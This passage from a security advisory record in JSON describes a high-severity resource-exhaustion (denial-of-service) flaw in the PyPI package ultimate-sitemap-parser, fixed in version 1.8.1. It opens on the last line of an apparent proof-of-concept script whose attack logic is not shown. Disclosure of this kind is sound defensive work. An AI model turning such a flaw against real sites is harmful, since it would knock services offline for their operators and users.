60)\nsys.exit(0 if passed else 1)\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ultimate-sitemap-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.8.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.8.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GateNLP/ultimate-sitemap-parser/security/advisories/GHSA-8823-qg2x-pv9f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GateNLP/ultimate-sitemap-parser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:15:34Z",
    "nvd_published_at" : null
  }
}